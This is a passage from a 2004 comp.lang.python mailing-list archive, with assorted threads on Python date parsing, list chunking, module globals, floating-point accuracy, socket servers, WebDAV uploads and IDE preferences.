<1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: <1gkftsa.1enp6wuv7zg2cN%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > p.s. For most comparison purposes, you can double or triple the salary > in Brazil. Some people use worldwide available commodities such as > Coke or Big Macs as a comparison tool in this regard, and this figure > will give you a good approximation (one can of Coke costs about 40 > cents of a dollar here, a big mac costs around US$ 1.60, just check > the results). The use of a Big Mac as the "basket" for purchasing-power-parity calculations was started many years ago as a joke by the funny people at the Economist magazine (the guys who once brought the world "Parkinson's Laws", etc!) -- and it turned out to be actually somewhat useful!-) Cfr: Alex From anna at aleax.it Fri Sep 17 15:40:40 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Fri, 17 Sep 2004 19:40:40 GMT Subject: Conversion of String to Date Type References: Message-ID: On Fri, 17 Sep 2004 11:19:12 -0700, Keith Bolton wrote: > Hello All, > > I've joined the wxPython list, but this is my first post on the python > list and it's good to be here :^) Anyway... > > My question is relating to Date equality. I am checking if two string > representations of dates are less than or equal to eachother. The issue > that I am having is that the date strings, ex. 09/15/04 is evaluated as > > 09/14/04. However, when the last two digits for the year are changed, > like this 09/15/04 is considered > 09/15/05. I thought this had > something to do with evaluating two strings. Could this be the case, if > so does someone know of a way to convert those strings into a Date type > object? Check out dateutil's fuzzy parser. It's great for handling this sort of thing. https://moin.conectiva.com.br/DateUtil#head-fe951d30a583390a274f57d3e881611e5ae207a5 HTH Anna From noreply at python.org Fri Sep 17 11:32:05 2004 From: noreply at python.org (Automatic Email Delivery Software) Date: Fri, 17 Sep 2004 17:32:05 +0200 Subject: (no subject) Message-ID: <20040917153420.DD2321E4002@bag.python.org> ******************************* WARNING ****************************** Este mensaje ha sido analizado por MDaemon AntiVirus y ha encontrado un fichero anexo(s) infectado(s). Por favor revise el reporte de abajo. Attachment Virus name Action taken ---------------------------------------------------------------------- readme.zip I-Worm.Mydoom.m Removed ********************************************************************** The original message was received at Fri, 17 Sep 2004 17:32:05 +0200 from python.org [194.2.206.96] ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to host python.org.: 554 ... Mail quota exceeded 554 ... Service unavailable From aleaxit at yahoo.com Tue Sep 28 11:52:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 17:52:16 +0200 Subject: breaking up a list References: Message-ID: <1gku478.yhfagb1kjsmidN%aleaxit@yahoo.com> Larry Bates wrote: ... > > x=[1,2,3,4,5,6] > > > > What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], ... > I would use: > > pairs=[[a,b] for a,b in x] > > but as you can see from other replies there are other ways. Which is fortunate, because what you would use could never possibly work for the value of x given by the original poster (and most other values of x except sequences of two-items subsequences...). Alex From rnichol_rrc at yahoo.com Fri Sep 10 15:13:52 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Fri, 10 Sep 2004 14:13:52 -0500 Subject: python and bit shifts and byte order, oh my! In-Reply-To: <4141e6f2$0$67058$a1866201@newsreader.visi.com> References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: Grant Edwards wrote: >>ie Would: >>x & SOMEBIT >>be portable? > > > Yes, that's portable. Great! > > The code that writes x to a file and reads it from a file is > what you have to worry about. > So, I have to handle the byte order myself during file i/o. Thank you Grant and Daniel! I cleared up a a bunch of my fuzziness :) From fred at acme.com Tue Sep 21 17:35:42 2004 From: fred at acme.com (Fred) Date: Tue, 21 Sep 2004 23:35:42 +0200 Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> Message-ID: <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> On Tue, 21 Sep 2004 07:01:00 -0400, "RPM1" wrote: >I do notice though that when I try to convince a co-worker to try Python, >the thing that seems to be the biggest turn off is the lack of an IDE with a >GUI designer included standard I agree. Once you're used to the productivity of Delphi or VB, it's a big turn-off to have to go back to building GUI's by hand, and shipping the 3MB DLL for wxWidgets is an extra reason why newbies might give up on another excellent tool. Too bad Guido et al. didn't take the GUI part into consideration earlier. But then, maybe someone will come up with a good IDE + GUI designer as part of the .Net shebbang. Fred. From peter at engcorp.com Sun Sep 12 14:34:19 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 14:34:19 -0400 Subject: Greenlets: where are they now??? In-Reply-To: References: Message-ID: David Pokorny wrote: > A) Why aren't greenlets being considered as a solution to coroutines? Maybe because coroutines aren't a problem that needs to be solved. :-) Seriously though, what is the actual problem to which you feel greenlets are a good solution? Answering that might reveal that relatively few people actually face the problem described, thus few people bother with its solution... > D) How did he come up with a cool name like "Greenlet"? "Green threads" is a term that is fairly widely used for non-native (non-OS) threads, though I have no idea of the origin. Presumably these are a lightweight type of non- native thread, thus greenlet. -Peter From aleaxit at yahoo.com Tue Sep 14 09:30:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 15:30:49 +0200 Subject: funcs vs vars in global namespace References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> Message-ID: <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> David Rysdam wrote: ... > > You're misunderstanding Python globals: they are per-module, not "across > > all modules". > > OK, I can kind of understand that. I'm not sure what the point of being > able to specify the globals for an eval() is then, but if it doesn't do > what I want it doesn't do what I want. The point is clearer when what you're passing to eval is an expression: eval('a+b', dict(a=23, b=99)). > What I want to do is be able to run multiple scripts that use the same > global variable and function names but be able to have my master script > define those variables and functions programmatically. Can I do that > with the rexec sandbox stuff? Or is rexec more about keeping the > exec()'d code from doing things than specifying precisely what it can do? rexec has been removed because it did not offer the security it purported to offer (it was about keeping code from doing bad things, but it reallly didn't), sigh. You can do what you want for example by setting the values you want in the module object of the function you're calling -- that module object's dictionary is the function's global namespace. Say: sub_module = __import__(which_one_this_time) vars(sub_module).update(which_dict_this_time) print sub_module.the_function(23) There are other ways, but few are as direct as this one. Alex From jerf at jerf.org Sat Sep 4 14:43:11 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sat, 04 Sep 2004 18:43:11 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> Message-ID: On Fri, 03 Sep 2004 09:42:58 +0200, Martin v. L?wis wrote: > Maurice LING wrote: >> I dont't quite get this right. Since x86/PPC uses register operations, >> why do virtual machines, like python's and java's, are designed as stack >> machines? Why not just stick to registers? > > I really think you should study programming language implementations > for some time before approaching your problem. With respect Maurice, I think I have to agree on this. In your situation, I can promise you that it is *faster* to take the time to learn about this stuff correctly then to try to power through it without learning; it is one of those places in computer technology where there are such powerful tools to help you that it is better to learn how to use them then to kludge through. Unfortunately, it is too large a topic to cover in a Usenet posting. If your institution offers a compilers class (a sadly diminishing number), try to take or audit that. (You most likely don't want a *compiler*, but an *interpreter*; the course will explain the difference. An interpreter typically uses much the same technology to implement, parsers and abstract syntax trees and such, but is usually much easier to implement.) (I think you hinted this was thesis project, hence this suggestion. Failing that, you may need a compilers book and some self-study time. Again, I promise you this is faster almost immediately than trying to power through this without it.) If you are responsible for creating the opcodes directly, you may find a better way to do what you are doing anyhow. Assembly is easy to implement but (with apologies to the more experienced among us) sucks to program in. Stepping up a level, are you sure you can't just implement a C or Python library and let people write their own programs in Python? You'll never be able to match Python-the-language's feature set. From peter at engcorp.com Wed Sep 1 16:05:54 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 16:05:54 -0400 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: Mark Hahn wrote: > On Wed, 01 Sep 2004 07:19:21 -0400, Peter Hansen wrote: >>Mark Hahn wrote: >> >>>It turns out that I missed a sourceforge project called PyCs so we will be >>>changing our name soon. Our current best guess is Pyxc pronounced Pixie. >> >>http://pyxie.sourceforge.net/ >> >>Best to avoid homonyms too, I think. Try again. > > I see no problem with homonyms, unless it was another computer language. I would agree, if Pyxie were, say, a Perl or C++ project. Given that it's a Python project, and that there is some connection between PyCs/Pyxc and Python, it would seem to be a good idea to avoid reusing the name of an existing and well-known (there's even a book based on it) Python project. But that's just IMHO... -Peter From __peter__ at web.de Wed Sep 15 08:37:49 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 15 Sep 2004 14:37:49 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> Message-ID: Michael Foord wrote: > See that I can't set the something.print attribute directly, but can > set it indirectly. Is this behaviour 'necessary' or just an anomaly of > the way IDLE detects Syntax Errors ? I'd say checking at runtime whether attribute names are valid costs too much performance, so it's not done. Another nice example (on the interactive prompt, this has nothing to do with idle): >>> class X: ... pass ... >>> x = X() >>> setattr(x, "!@~%", 42) >>> dir(x) ['!@~%', '__doc__', '__module__'] :-) Peter From peter at engcorp.com Fri Sep 10 11:53:18 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 11:53:18 -0400 Subject: Electronic voting feasibility In-Reply-To: References: Message-ID: Peter Hansen wrote: > (Now I'm curious what happened to that project... Anand? David?) Answered at http://www.openvotingconsortium.org/news.html (Summary: the prototype was demonstrated with success. Python and lots of hard work by volunteers got the job done.) -Peter From peter at engcorp.com Wed Sep 22 14:56:37 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 Sep 2004 14:56:37 -0400 Subject: New to Python In-Reply-To: References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> Message-ID: Jeremy Bowers wrote: > On Wed, 22 Sep 2004 17:28:43 +0200, Erik Heneryd wrote: >>I can't help to crack a smile every time I see that URL. I doubt it >>ever helped anyone, > > I think you mis-understand who it is supposed to help. That link is not > "Hey, this might help you, the poster.", it's "If you want any more help > from us, the minimal standards of helping us help you is laid out in this > document, as you've demonstrated you don't know. Further inquiries not > meeting this standard will most likely be ignored." > > In other words, it is to help the helpers, by cleanly laying out the > requirements, not really the asker. In that regard it works; since that > link became popular I haven't seen a flamewar over the standards of asking > for help. It has done exactly what it was supposed to do. In addition, it's posted not only for the OP, who may well ignore it as some do, but also for the benefit of others who are lurking, possibly new but possibly not, and who are about to post a question of their own. You might also say it's for the benefit of many of the old-timers who are here, providing the answers. Any such who *haven't* taken the time to read it, 10000 words or not, should do so at the earliest opportunity. It isn't perfect, but it could well save you some time, embarrassment, or a public whipping. -Peter From bradtilley at usa.net Wed Sep 15 22:26:02 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 22:26:02 -0400 Subject: socket function that loops AND returns something Message-ID: I have a function that starts a socket server looping continuously listening for connections. It works. Clients can connect to it and send data. The problem is this: I want to get the data that the clients send out of the loop but at the same time keep the loop going so it can continue listening for connections. If I return, I exit the function and the loop stops. How might I handle this? def listen(ip_param, port_param): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while 1: print "\nWaiting for new connection...\n" s.listen(1) conn, addr = s.accept() print "Client", addr[0], "connected and was directed to port", addr[1] data = conn.recv(1024) # I want to get 'data' out of the loop, but keep the loop going print "Client sent this message:", data conn.close() From peter at engcorp.com Sat Sep 25 22:00:14 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 Sep 2004 22:00:14 -0400 Subject: Wrapping Python ? In-Reply-To: <33fh22-pfv.ln1@lairds.us> References: <33fh22-pfv.ln1@lairds.us> Message-ID: Cameron Laird wrote: > Exactly: taking care of shared libraries as you describe (I *think* > Starkits currently assume responsibility for writing 'em into the > real file system, and loading from there) (and, yes, I know that > has security consequences) is one of Starkit's benefits. Peter, it > really is neat beyond belief. It may be neat, but it doesn't even seem to match the OP's own requirements, which include this statement: "a single executable without ... files needing to be written out to the local disk before execution" If, on the other hand, one permits that behaviour, then I doubt that a py2exe + UPX (or whatever that beast is called) solution would be about the same, if not arriving with such a killer name. :-) -Peter From jfj at freemail.gr Mon Sep 13 22:37:53 2004 From: jfj at freemail.gr (Jerald) Date: Mon, 13 Sep 2004 19:37:53 -0700 Subject: help: up/down arrows in 2.3.4 interactiv Message-ID: Hi. I've just installed 2.3.4 from the source on a linux box. In the interactive mode, up/down arrows do not work. When I press 'up' python prints '^[[A' and down gives '^[[B' What is wrong? Thanks, Gerald From frnknstn at iafrica.com Tue Sep 21 01:17:48 2004 From: frnknstn at iafrica.com (Peter Finlayson) Date: Tue, 21 Sep 2004 07:17:48 +0200 Subject: MAC address In-Reply-To: <20040921002603.15d24a03@gypsy.pfortin.com> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <20040921002603.15d24a03@gypsy.pfortin.com> Message-ID: <414FB97C.8030206@iafrica.com> Pierre Fortin wrote: > You can't "anonymize" if you plan to have a _conversation_ with the > server... I am not at all knowledgeable about the topic, but since he is talking about wireless connections, couldn't he set his wireless NIC to promiscuous mode and read the server's responses that way? frnknstn From adalke at mindspring.com Thu Sep 23 13:12:43 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 Sep 2004 17:12:43 GMT Subject: How to count lines in a text file ? In-Reply-To: <1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> <1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > If you tell it to count non-lines too (pieces that don't end with an > endline marker), it does, of course: My reply was meant to be a bit of a jest, pointing out that I'm using Python's definition of a line. Otherwise if lines must end with a newline then the method should be named "readlines_and_any_trailing_text()" Since you used numlines=0 for line in file('/usr/share/dict/words'): numlines+=1 as a way to count lines, I assumed you would agree with Python's definition as a reasonable way to count the number of lines in a file and that your previous post (on the behavior of wc) was meant more as a rhetorical way to highlight the ambiguity than as an assertion of general correctness. > I suspect somebody who asks the subject question wants to reproduce wc's > counting behavior. Really? I was actually surprised at what wc does. I didn't realize it only did a "\n" character count. The other programs I know of number based on the start of line rather than end of line. % echo -n "blah" > blah.txt % less blah.txt (then press "=") blah.txt lines 1-1/1 byte 4/4 (END) (press RETURN) % echo -n "" | perl -ne '$line++; END{$line+=0;print "$line\n"}' 0 % echo -n "blah" | perl -ne '$line++; END{$line+=0;print "$line\n"}' 1 % echo -n "" | awk 'END {print NR}' 0 % echo -n "blah" | awk 'END {print NR}' 1 % echo -n "blah" | grep -n "blah" 1:blah > Of course, it _is_ an imprecise spec they're giving. Yup. Andrew dalke at dalkescientific.com From 510046470588-0001 at t-online.de Wed Sep 1 15:17:11 2004 From: 510046470588-0001 at t-online.de (510046470588-0001 at t-online.de) Date: 01 Sep 2004 21:17:11 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> Message-ID: <87eklldcjs.fsf@debian.i-did-not-set--mail-host-address--so-shoot-me> red floyd writes: > CBFalconer wrote: > > > Dump Notepad and get Textpad. www.textpad.com. First class. > > > > Let the editor flame wars begin! > > Get gvim! www.vim.org none of those can hold the dimmest candle to the GNU Emacs. Klaus Schilling From carribeiro at gmail.com Fri Sep 24 11:02:02 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 12:02:02 -0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> Message-ID: <864d370904092408023ac5a637@mail.gmail.com> My candidate for QOTW: "You *did* signal that quite adequately. This, however, is comp.lang.python and clear signals never stopped anyone. " -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From drysdam at ll.mit.edu Tue Sep 14 11:02:28 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Tue, 14 Sep 2004 11:02:28 -0400 Subject: funcs vs vars in global namespace In-Reply-To: <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> Message-ID: <8KD1d.10$26.4@llslave.llan.ll.mit.edu> Alex Martelli wrote: > David Rysdam wrote: > ... >>What I want to do is be able to run multiple scripts that use the same >>global variable and function names but be able to have my master script >>define those variables and functions programmatically. Can I do that >>with the rexec sandbox stuff? Or is rexec more about keeping the >>exec()'d code from doing things than specifying precisely what it can do? > > > rexec has been removed because it did not offer the security it > purported to offer (it was about keeping code from doing bad things, but > it reallly didn't), sigh. > > You can do what you want for example by setting the values you want in > the module object of the function you're calling -- that module object's > dictionary is the function's global namespace. Say: > > sub_module = __import__(which_one_this_time) > vars(sub_module).update(which_dict_this_time) > print sub_module.the_function(23) > > There are other ways, but few are as direct as this one. > > > Alex Oh wow, of course! I can set properties on the modules themselves. I'm going to have to rethink what I'm doing and mess with that a bit, I'm sure I'll have questions and problems later. Thanks! From claird at lairds.us Tue Sep 7 15:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Tue, 07 Sep 2004 19:08:05 GMT Subject: ANN: WxInter References: Message-ID: <8ab112-7qc.ln1@lairds.us> In article , Ed Suominen wrote: >WxInter is a drop-in replacement for TkInter, providing user-transparent >wxPython-based replacements for each and every part of the Tkinter class >library. Because wxPython can do anything that the ancient and stagnant >TkInter can do (but with a themable, modern window appearance), legacy code >will still run, looking better than ever, and Python's last connection to >the Tcl/TK albatross will be forever broken. > >OK, I just made all this up. But why couldn't it happen? I'd even be tempted >to code it myself, but I'm sure others with some wxPython experience could >do it much faster and better. . . . Also competing as a "faster and better" alternative is to wait for 8.5 of Tk, which will bring "themable, modern window appearance" to Tkinter . From zanesdad at bellsouth.net Thu Sep 30 13:00:56 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 30 Sep 2004 13:00:56 -0400 Subject: simple socket code In-Reply-To: References: Message-ID: <415C3BC8.8080505@bellsouth.net> Nikola Bjelicic wrote: >**** Post for FREE via your newsreader at post.usenet.com **** > > >Please help me to put some content on apache + DAV server, whas wrong? > >[code] > >import socket, os, stat > >file=open('/home/nikola/somefile','rb') >lenght=os.fstat(file.fileno())[stat.ST_SIZE] >print lenght > >headers={} >headers['Host']='localhost' >headers['Authorization']='Basic bmlrb2xhOnRlc3Q=' >headers['Accept-Encoding']='identity' >headers['Content-Type']='application/octet-stream' >headers['Content-Encoding']='None' >headers['Content-Lenght']=lenght > > >data = '%s %s %s\r\n' %('PUT', '/dav/test1','HTTP/1.1') >for header, value in headers.items(): > data += '%s: %s\r\n'%(header,value) > >data += '\r\n' > >sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) >sock.connect(('localhost', 80)) >sock.send(data) >sock.send(file.read()) #doesnt work why? >response=sock.recv(2000) >print response >sock.close() > >[/code] > > > >-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! *** > http://www.usenet.com >Unlimited Download - 19 Seperate Servers - 90,000 groups - Uncensored >-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > Do you _really_ want to do this by hand with sockets? I would recommend trying httplib: http://www.python.org/doc/current/lib/httplib-examples.html Jeremy Jones From tim.peters at gmail.com Mon Sep 20 01:50:50 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 01:50:50 -0400 Subject: Math errors in python In-Reply-To: References: <7xwtyqsmvu.fsf@ruckus.brouhaha.com> Message-ID: <1f7befae040919225032fd2c11@mail.gmail.com> [Bengt Richter] > ... > If you add a small Decimal delta repeatedly, will it get rounded away like the > floating point version, Decimal *is* a floating-point type, containing most of IEEE 854 (the radix-generalized variant of IEEE 754). It's got infinities, signed zeroes, NaNs, ..., all that FP hair. Decimal specifies unnormalized fp, though, so there's no special class of "denormal" values in Decimal. >or will accuracy get promoted, No, but the number of digits of precision is user-specifiable. In all places this makes sense, the result of an operation is the exact (infinite precision) mathematical result, rounded once to the current context precision, according to the current context rounding mode. If you want 100 digits, ask for 100 digits -- but you have to ask in advance. From edstar at optonline.net Tue Sep 14 20:39:24 2004 From: edstar at optonline.net (Eddie) Date: 14 Sep 2004 17:39:24 -0700 Subject: How Can I overide a function in an existing class Message-ID: Hi all, I am using ZSI SOAP library for a web service. My service runs fine, but it outputs a line localhost - - [14/Sep/2004 20:21:55] "POST / HTTP/1.1" 200 - every time the web service is accessed. I traced it down to the BaseHTTPServer.log_message function that the ZSI Soap library uses for the web server. I want to turn this service into a windows NT service and I need to stop the program from outputing the line. I cannot make a new class derived from BaseHTTPServer and override the log_message function because I can't change the web server object used by ZSI. I also can't redirect stderr because the service messes with stdout and error already. I have changed the BaseHTTPServer.py file to do what I want and included it in the directory with my service. This works, but there has to be a better way. Is there some other way to override the function? Thanks in advance for any help Eddie From jepler at unpythonic.net Wed Sep 15 08:59:40 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 15 Sep 2004 07:59:40 -0500 Subject: SIGILL,Illegal instruction In-Reply-To: References: Message-ID: <20040915125940.GA10361@unpythonic.net> On Wed, Sep 15, 2004 at 05:11:22PM +1000, benevilent at optusnet.com.au wrote: > Any idea what the problem may be? I don't see SIGILL when running Python programs. I notice that you are running an embedded version of Python. I googled the function names and filenames, but didn't turn up anything likely-looking. If you're using Python embedded in a third-party binary with their extensions, I'd look to them for support. Best of luck! Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From adurdin at gmail.com Thu Sep 23 21:15:48 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 24 Sep 2004 11:15:48 +1000 Subject: regular expression for integer and decimal numbers In-Reply-To: References: Message-ID: <59e9fd3a0409231815355e4410@mail.gmail.com> On 23 Sep 2004 17:51:17 -0700, gary wrote: > I want to pick all intergers and decimal numbers out of a string. > Would this be the most correct regular expression to use? > > "\d+\.?\d*" That will work for numbers such as 0123 12.345 12. 0.5 -- but it won't work for the following: 0x12AB .5 10e-3 -15 123L If you want to handle some of those, then you'll need a more complicated regex. If you want to accept numbers of the form .5 but don't care about 12. then a better regex would be \d*\.?\d+ From carribeiro at gmail.com Wed Sep 15 08:59:50 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 09:59:50 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: <864d37090409150559417e4dbe@mail.gmail.com> On Wed, 15 Sep 2004 14:25:57 +0200, Frithiof Andreas Jensen wrote: > [comments about session management] > > The newer graphics cards such as the plain vanilla NVIDIA GF 2 MX, comes > with such a functionality: N-View. Well, I was thinking about something a little more complex, and that would demand support from the individual applications. I've commented it elsewhere earlier today; it's about having named sessions that could be saved or resumed at will. For example, I'm a preparing a presentation. I have the presentation software and a drawing program opened; Firefox is also open with a dozen of pages for my research. Instead of just saving the presentation, I would like to save the entire context of what I was doing -- this way, I can resume it later frm exactly the same point where I left it. Once saved, I can resume any other session that I've opened before, and so on... Of course, for it to work I would need a new machine :-) Going a little bit forward, and dreaming even higher... there are two basic approaches here that can be used: -- Conventional session management done by the OS+WM combination -- saving all information needed to reopen the apps later within the same context. -- A VMWare-style of persistence. Each different project runs inside it's own virtual machine. We can save and resume VMs at will. I actually think that the later is not only possible, but it may be where the future is, at least for people that use PCs professionally to do lots of widely different things. It's technically feasible, doesn't demand that much from the hardware (at least, not as much as one might think)... all it needs is someone crazy enough to bring it to masses. Yes, it's crazy. But it may also be a very good idea. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From toc-01-nospam at blikroer.dk Sat Sep 25 09:31:20 2004 From: toc-01-nospam at blikroer.dk (Tomas Christiansen) Date: Sat, 25 Sep 2004 15:31:20 +0200 Subject: TWAIN module Message-ID: Anyone having experience with Kevin Gill's TWAIN module (from www.sourceforge.org)? Seems that a user MUST be logged in on the computer (Windows 2000) to be able to scan on a TWAIN-scanner? Trying to create a network-attached scanner service, so I would like to avoid having a user logged in on the scanner-computer. ------- Tomas From danb_83 at yahoo.com Mon Sep 20 00:07:55 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 19 Sep 2004 21:07:55 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote in message news:<7xfz5ein0h.fsf at ruckus.brouhaha.com>... > Gary Herron writes: > > Any representation of the infinity of numbers on a finite computer > > *must* necessarily be unable to represent some (actually infinity > > many) of those numbers. The inaccuracies stem from that fact. > > Well, finite computers can't even represent all the integers, but > we can reasonably think of Python as capable of doing exact integer > arithmetic. > > The issue here is that Python's behavior confuses the hell out of some > new users. There is a separate area of confusion, that > > a = 2 / 3 > > sets a to 0, That may confusing for non-C programmers, but it's easy to explain. The real flaw of old-style division is that code like def mean(seq): return sum(seq) / len(seq) subtly fails when seq happens to contain all integers, and you can't even correctly use: def mean(seq): return 1.0 * sum(seq) / len(seq) because it could lose accuracy if seq's elements were of a custom high-precision numeric type that is closed under integer division but gets coerced to float when multiplied by a float. > That doesn't solve the also very > common confusion that (1.0/3.0)*3.0 = 0.99999999. What problem? >>> (1.0 / 3.0) * 3.0 1.0 The rounding error of multiplying 1/3 by 3 happens to exactly cancel out that of dividing 1 by 3. It's an accident, but you can use it as a quick argument against the "decimal arithmetic is always more acurate" crowd. > Rational arithmetic can solve that. Yes, it can, and imho it would be a good idea to use rational arithmetic as the default for integer division (but _not_ as a general replacement for float). From aleaxit at yahoo.com Wed Sep 22 07:38:45 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 13:38:45 +0200 Subject: Floating-point glitches with the math module. Bug? Or am Imissing something? References: <20040921000356.GA2641@unpythonic.net> <1f7befae040920235213950f17@mail.gmail.com> Message-ID: <1gkioe1.1xfjmhz1sr30ezN%aleaxit@yahoo.com> Terry Reedy wrote: ... > > derivative of f at a is 0. Therefore f(a+h) ~= f(a) + h**2*f''(a)/2 > > (the first-order term of the Taylor expansion around a vanishes). > > That in turn roughly means that if you change any of the bits in the > > least significant half of a, it makes no visible difference to the > > computed value of f(a). > > To illustrate: > >>> for i in range(50): print `cos(i*1e-9)` # Windows, 2.2 FWIW, these are exactly identical to the results I get from IBM's Accurate Portable Mathematical Library (APMathLib), claimed to equal "the exact theoretical values correctly rounded (nearest or even) to the closest number representable by the IEEE 754 double format" (in other words, correct to the Unit of Least Precision, ULP). So, for once, it's apparently not the fault of the underlying C mathematical library. Alex From mb at muenster.de Tue Sep 7 14:29:21 2004 From: mb at muenster.de (Martin Bless) Date: Tue, 07 Sep 2004 18:29:21 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> Message-ID: <413dfbe7.1097406@news.muenster.de> ["Raymond Hettinger" ] >> I was curious, so I googled for "CHOMSKY is an aid to writing linguistic [...] >def chomskey(times = 1): That's a real danger with Python: "keys" and "values" just slip in everywhere... I find myself suffering from this disease. Wellcome to the club! "k,v" have allready become my favorite variable names... MB - Martin Bless From jsmilan at tiny.net Tue Sep 28 23:00:41 2004 From: jsmilan at tiny.net (jsmilan at tiny.net) Date: 29 Sep 2004 03:00:41 GMT Subject: Zope, M2Crypto, and Gentoo References: <4156ddd5$0$78146$a1866201@newsreader.visi.com> <4157690a$0$80690$a1866201@newsreader.visi.com> <4157fb85$1@pfaff2.ethz.ch> Message-ID: <415a2559$0$99411$a1866201@newsreader.visi.com> Josef; Thanks for your comments. Maybe I should elaborate a bit more. This project that I'm doing is a very small one. One objective is to teach myself object oriented programming in the simplest environment possible. If I am successful, I hope to have a standalone application that can be bundled up for Windows, Linux, and hopefully Mac OSX. However, I'll be happy if I can just get everything to work. :) The project itself is an admin tool for gameservers. Very 